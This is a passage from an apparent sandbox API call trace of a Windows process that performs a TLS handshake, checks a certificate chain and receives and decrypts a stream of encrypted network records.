[0130.595] RtlMoveMemory (in: Destination=0x1b8ba3c0, Source=0x448138, Length=0xc | out: Destination=0x1b8ba3c0) [0130.595] CoTaskMemFree (pv=0x1b8ba3c0) [0130.595] lstrlenW (lpString="PKU2U Security Package") returned 22 [0130.595] CoTaskMemAlloc (cb=0x30) returned 0x1b8c0a10 [0130.595] RtlMoveMemory (in: Destination=0x1b8c0a10, Source=0x448144, Length=0x2e | out: Destination=0x1b8c0a10) [0130.595] CoTaskMemFree (pv=0x1b8c0a10) [0130.595] lstrlenW (lpString="CREDSSP") returned 7 [0130.595] CoTaskMemAlloc (cb=0x12) returned 0x1b8ba3c0 [0130.595] RtlMoveMemory (in: Destination=0x1b8ba3c0, Source=0x448172, Length=0x10 | out: Destination=0x1b8ba3c0) [0130.595] CoTaskMemFree (pv=0x1b8ba3c0) [0130.595] lstrlenW (lpString="Microsoft CredSSP Security Provider") returned 35 [0130.595] CoTaskMemAlloc (cb=0x4a) returned 0x1b8d1ed0 [0130.595] RtlMoveMemory (in: Destination=0x1b8d1ed0, Source=0x448182, Length=0x48 | out: Destination=0x1b8d1ed0) [0130.595] CoTaskMemFree (pv=0x1b8d1ed0) [0130.596] FreeContextBuffer (in: pvContextBuffer=0x447d70 | out: pvContextBuffer=0x447d70) returned 0x0 [0130.597] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c74c638 | out: TokenHandle=0x1c74c638*=0x4c4) returned 1 [0130.601] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x31f2210, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x1c74c548, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x1c74c538, ptsExpiry=0x1c74c530 | out: phCredential=0x1c74c538, ptsExpiry=0x1c74c530) returned 0x0 [0130.609] InitializeSecurityContextW (in: phCredential=0x1c74c740, phContext=0x0, pTargetName=0x31e68f8, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x1c74c730, pOutput=0x31f4958, pfContextAttr=0x1c74c728, ptsExpiry=0x1c74c720 | out: phNewContext=0x1c74c730, pOutput=0x31f4958, pfContextAttr=0x1c74c728, ptsExpiry=0x1c74c720) returned 0x90312 [0130.610] FreeContextBuffer (in: pvContextBuffer=0x457740 | out: pvContextBuffer=0x457740) returned 0x0 [0130.680] send (in: s=0x4c8, buf=0x31f4a28*, len=122, flags=0 | out: buf=0x31f4a28*) returned 122 [0130.682] recv (in: s=0x4c8, buf=0x31f4a28, len=5, flags=0 | out: buf=0x31f4a28*) returned 5 [0130.702] recv (in: s=0x4c8, buf=0x31f4a2d, len=93, flags=0 | out: buf=0x31f4a2d*) returned 93 [0130.703] InitializeSecurityContextW (in: phCredential=0x1c74c660, phContext=0x1c74c910, pTargetName=0x31e68f8, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x31f4d40, Reserved2=0x0, phNewContext=0x1c74c650, pOutput=0x31f4d60, pfContextAttr=0x1c74c648, ptsExpiry=0x1c74c640 | out: phNewContext=0x1c74c650, pOutput=0x31f4d60, pfContextAttr=0x1c74c648, ptsExpiry=0x1c74c640) returned 0x90312 [0130.704] recv (in: s=0x4c8, buf=0x31f4e50, len=5, flags=0 | out: buf=0x31f4e50*) returned 5 [0130.704] recv (in: s=0x4c8, buf=0x31f4e75, len=4588, flags=0 | out: buf=0x31f4e75*) returned 4588 [0130.704] InitializeSecurityContextW (in: phCredential=0x1c74c590, phContext=0x1c74c840, pTargetName=0x31e68f8, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x31f6138, Reserved2=0x0, phNewContext=0x1c74c580, pOutput=0x31f6158, pfContextAttr=0x1c74c578, ptsExpiry=0x1c74c570 | out: phNewContext=0x1c74c580, pOutput=0x31f6158, pfContextAttr=0x1c74c578, ptsExpiry=0x1c74c570) returned 0x90312 [0130.705] recv (in: s=0x4c8, buf=0x31f6248, len=5, flags=0 | out: buf=0x31f6248*) returned 5 [0130.705] recv (in: s=0x4c8, buf=0x31f626d, len=331, flags=0 | out: buf=0x31f626d*) returned 331 [0130.705] InitializeSecurityContextW (in: phCredential=0x1c74c4c0, phContext=0x1c74c770, pTargetName=0x31e68f8, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x31f6488, Reserved2=0x0, phNewContext=0x1c74c4b0, pOutput=0x31f64a8, pfContextAttr=0x1c74c4a8, ptsExpiry=0x1c74c4a0 | out: phNewContext=0x1c74c4b0, pOutput=0x31f64a8, pfContextAttr=0x1c74c4a8, ptsExpiry=0x1c74c4a0) returned 0x90312 [0130.705] recv (in: s=0x4c8, buf=0x31f6598, len=5, flags=0 | out: buf=0x31f6598*) returned 5 [0130.705] recv (in: s=0x4c8, buf=0x31f65bd, len=4, flags=0 | out: buf=0x31f65bd*) returned 4 [0130.705] InitializeSecurityContextW (in: phCredential=0x1c74c3f0, phContext=0x1c74c6a0, pTargetName=0x31e68f8, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x31f6698, Reserved2=0x0, phNewContext=0x1c74c3e0, pOutput=0x31f66b8, pfContextAttr=0x1c74c3d8, ptsExpiry=0x1c74c3d0 | out: phNewContext=0x1c74c3e0, pOutput=0x31f66b8, pfContextAttr=0x1c74c3d8, ptsExpiry=0x1c74c3d0) returned 0x90312 [0130.712] FreeContextBuffer (in: pvContextBuffer=0x1b8af3d0 | out: pvContextBuffer=0x1b8af3d0) returned 0x0 [0130.713] send (in: s=0x4c8, buf=0x31f6788*, len=134, flags=0 | out: buf=0x31f6788*) returned 134 [0130.713] recv (in: s=0x4c8, buf=0x31f6788, len=5, flags=0 | out: buf=0x31f6788*) returned 5 [0130.734] recv (in: s=0x4c8, buf=0x31f678d, len=1, flags=0 | out: buf=0x31f678d*) returned 1 [0130.735] InitializeSecurityContextW (in: phCredential=0x1c74c320, phContext=0x1c74c5d0, pTargetName=0x31e68f8, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x31f6900, Reserved2=0x0, phNewContext=0x1c74c310, pOutput=0x31f6920, pfContextAttr=0x1c74c308, ptsExpiry=0x1c74c300 | out: phNewContext=0x1c74c310, pOutput=0x31f6920, pfContextAttr=0x1c74c308, ptsExpiry=0x1c74c300) returned 0x90312 [0130.735] recv (in: s=0x4c8, buf=0x31f6a10, len=5, flags=0 | out: buf=0x31f6a10*) returned 5 [0130.735] recv (in: s=0x4c8, buf=0x31f6a35, len=48, flags=0 | out: buf=0x31f6a35*) returned 48 [0130.735] InitializeSecurityContextW (in: phCredential=0x1c74c250, phContext=0x1c74c500, pTargetName=0x31e68f8, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x31f6b38, Reserved2=0x0, phNewContext=0x1c74c240, pOutput=0x31f6b58, pfContextAttr=0x1c74c238, ptsExpiry=0x1c74c230 | out: phNewContext=0x1c74c240, pOutput=0x31f6b58, pfContextAttr=0x1c74c238, ptsExpiry=0x1c74c230) returned 0x0 [0130.745] QueryContextAttributesW (in: phContext=0x1c74c4b0, ulAttribute=0x4, pBuffer=0x31f6c70 | out: pBuffer=0x31f6c70) returned 0x0 [0130.745] QueryContextAttributesW (in: phContext=0x1c74c4b0, ulAttribute=0x5a, pBuffer=0x31f6cf0 | out: pBuffer=0x31f6cf0) returned 0x0 [0130.754] QueryContextAttributesW (in: phContext=0x1c74c360, ulAttribute=0x53, pBuffer=0x31f7040 | out: pBuffer=0x31f7040) returned 0x0 [0130.776] CertDuplicateCRLContext (pCrlContext=0x1b8a6bc0) returned 0x1b8a6bc0 [0130.779] CertDuplicateStore (hCertStore=0x40f2e0) returned 0x40f2e0 [0130.779] CertEnumCertificatesInStore (hCertStore=0x40f2e0, pPrevCertContext=0x0) returned 0x1b8a6cc0 [0130.780] CertDuplicateCRLContext (pCrlContext=0x1b8a6cc0) returned 0x1b8a6cc0 [0130.780] CertEnumCertificatesInStore (hCertStore=0x40f2e0, pPrevCertContext=0x1b8a6cc0) returned 0x1b8a6c40 [0130.780] CertDuplicateCRLContext (pCrlContext=0x1b8a6c40) returned 0x1b8a6c40 [0130.780] CertEnumCertificatesInStore (hCertStore=0x40f2e0, pPrevCertContext=0x1b8a6c40) returned 0x1b8a6bc0 [0130.781] CertDuplicateCRLContext (pCrlContext=0x1b8a6bc0) returned 0x1b8a6bc0 [0130.781] CertEnumCertificatesInStore (hCertStore=0x40f2e0, pPrevCertContext=0x1b8a6bc0) returned 0x0 [0130.781] CertCloseStore (hCertStore=0x40f2e0, dwFlags=0x0) returned 1 [0130.781] CertFreeCRLContext (pCrlContext=0x1b8a6bc0) returned 1 [0130.796] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x40f210 [0130.797] CertAddCRLLinkToStore (in: hCertStore=0x40f210, pCrlContext=0x1b8a6cc0, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0130.798] CertAddCRLLinkToStore (in: hCertStore=0x40f210, pCrlContext=0x1b8a6c40, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0130.798] CertAddCRLLinkToStore (in: hCertStore=0x40f210, pCrlContext=0x1b8a6bc0, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0130.812] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x1b8a6bc0, pTime=0x1c74c368, hAdditionalStore=0x40f210, pChainPara=0x1c74c370, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x1c74c360 | out: ppChainContext=0x1c74c360) returned 1 [0131.057] CertDuplicateCertificateChain (pChainContext=0x1ce408a0) returned 0x1ce408a0 [0131.058] CertDuplicateCRLContext (pCrlContext=0x1b8a6bc0) returned 0x1b8a6bc0 [0131.059] CertDuplicateCRLContext (pCrlContext=0x1ce30270) returned 0x1ce30270 [0131.059] CertDuplicateCRLContext (pCrlContext=0x1ce302f0) returned 0x1ce302f0 [0131.059] CertFreeCertificateChain (pChainContext=0x1ce408a0) [0131.060] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x1ce408a0, pPolicyPara=0x1c74c4e8, pPolicyStatus=0x1c74c4c8 | out: pPolicyStatus=0x1c74c4c8) returned 1 [0131.061] SetLastError (dwErrCode=0x0) [0131.062] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x1ce408a0, pPolicyPara=0x1c74c5c0, pPolicyStatus=0x1c74c5a8 | out: pPolicyStatus=0x1c74c5a8) returned 1 [0131.063] CertFreeCertificateChain (pChainContext=0x1ce408a0) [0131.063] CertFreeCRLContext (pCrlContext=0x1b8a6bc0) returned 1 [0131.064] EncryptMessage (in: phContext=0x1c74cb70, fQOP=0x0, pMessage=0x31f9ab8, MessageSeqNo=0x0 | out: pMessage=0x31f9ab8) returned 0x0 [0131.064] send (in: s=0x4c8, buf=0x31f97f0*, len=117, flags=0 | out: buf=0x31f97f0*) returned 117 [0131.064] setsockopt (s=0x4c8, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0131.065] recv (in: s=0x4c8, buf=0x31f9c18, len=5, flags=0 | out: buf=0x31f9c18*) returned 5 [0131.089] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.090] DecryptMessage (in: phContext=0x1c74c730, pMessage=0x31fa2f0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31fa2f0, pfQOP=0x0) returned 0x0 [0131.198] setsockopt (s=0x4c8, level=65535, optname=4102, optval="\xe0\x93\x04", optlen=4) returned 0 [0131.199] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.199] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.199] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x320c9a0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x320c9a0, pfQOP=0x0) returned 0x0 [0131.199] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.199] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.199] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x320dba8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x320dba8, pfQOP=0x0) returned 0x0 [0131.200] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.200] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.200] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x320fdb0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x320fdb0, pfQOP=0x0) returned 0x0 [0131.200] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.200] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.200] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x320ffa0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x320ffa0, pfQOP=0x0) returned 0x0 [0131.200] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.200] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.200] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3210190, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3210190, pfQOP=0x0) returned 0x0 [0131.201] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.201] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.201] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3214398, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3214398, pfQOP=0x0) returned 0x0 [0131.201] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.201] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.201] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3214588, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3214588, pfQOP=0x0) returned 0x0 [0131.201] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.201] recv (in: s=0x4c8, buf=0x31f9c3d, len=112, flags=0 | out: buf=0x31f9c3d*) returned 112 [0131.201] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3214778, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3214778, pfQOP=0x0) returned 0x0 [0131.201] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.201] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.201] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3214968, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3214968, pfQOP=0x0) returned 0x0 [0131.202] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.202] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.202] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3214b58, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3214b58, pfQOP=0x0) returned 0x0 [0131.202] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.202] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.202] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3214d48, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3214d48, pfQOP=0x0) returned 0x0 [0131.202] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.202] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.202] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3214f38, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3214f38, pfQOP=0x0) returned 0x0 [0131.202] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.202] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.203] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321d140, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321d140, pfQOP=0x0) returned 0x0 [0131.203] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.203] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.203] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321d330, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321d330, pfQOP=0x0) returned 0x0 [0131.203] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.203] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.203] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321d520, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321d520, pfQOP=0x0) returned 0x0 [0131.203] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.203] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.203] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321d710, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321d710, pfQOP=0x0) returned 0x0 [0131.204] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.204] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.204] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321d900, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321d900, pfQOP=0x0) returned 0x0 [0131.204] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.204] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.204] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321daf0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321daf0, pfQOP=0x0) returned 0x0 [0131.204] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.204] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.204] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321dce0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321dce0, pfQOP=0x0) returned 0x0 [0131.204] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.204] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.204] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321ded0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321ded0, pfQOP=0x0) returned 0x0 [0131.205] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.205] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.205] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321e0c0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321e0c0, pfQOP=0x0) returned 0x0 [0131.205] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.205] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.205] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321e2b0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321e2b0, pfQOP=0x0) returned 0x0 [0131.205] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.205] recv (in: s=0x4c8, buf=0x31f9c3d, len=160, flags=0 | out: buf=0x31f9c3d*) returned 160 [0131.205] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321e4a0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321e4a0, pfQOP=0x0) returned 0x0 [0131.205] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.205] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.205] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321e690, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321e690, pfQOP=0x0) returned 0x0 [0131.206] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.206] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.206] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x321e880, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x321e880, pfQOP=0x0) returned 0x0 [0131.206] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.206] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.206] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322ea88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322ea88, pfQOP=0x0) returned 0x0 [0131.206] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.206] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.206] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322ec78, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322ec78, pfQOP=0x0) returned 0x0 [0131.206] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.206] recv (in: s=0x4c8, buf=0x31f9c3d, len=416, flags=0 | out: buf=0x31f9c3d*) returned 416 [0131.207] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322ee68, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322ee68, pfQOP=0x0) returned 0x0 [0131.207] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.207] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.207] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322f058, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322f058, pfQOP=0x0) returned 0x0 [0131.207] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.207] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.207] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322f248, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322f248, pfQOP=0x0) returned 0x0 [0131.207] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.207] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.207] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322f438, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322f438, pfQOP=0x0) returned 0x0 [0131.207] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.207] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.208] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322f628, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322f628, pfQOP=0x0) returned 0x0 [0131.208] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.208] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.208] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322f818, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322f818, pfQOP=0x0) returned 0x0 [0131.208] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.208] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.208] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322fa08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322fa08, pfQOP=0x0) returned 0x0 [0131.208] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.208] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.208] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322fbf8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322fbf8, pfQOP=0x0) returned 0x0 [0131.208] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.209] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.209] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322fde8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322fde8, pfQOP=0x0) returned 0x0 [0131.209] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.209] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.209] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x322ffd8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x322ffd8, pfQOP=0x0) returned 0x0 [0131.209] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.209] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.209] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32301c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32301c8, pfQOP=0x0) returned 0x0 [0131.209] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.209] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.209] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32303b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32303b8, pfQOP=0x0) returned 0x0 [0131.210] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.210] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.210] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32305a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32305a8, pfQOP=0x0) returned 0x0 [0131.210] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.210] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.210] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3230798, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3230798, pfQOP=0x0) returned 0x0 [0131.210] recv (in: s=0x4c8, buf=0x31f9c38, len=5, flags=0 | out: buf=0x31f9c38*) returned 5 [0131.210] recv (in: s=0x4c8, buf=0x31f9c3d, len=1440, flags=0 | out: buf=0x31f9c3d*) returned 1440 [0131.210] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3230988, 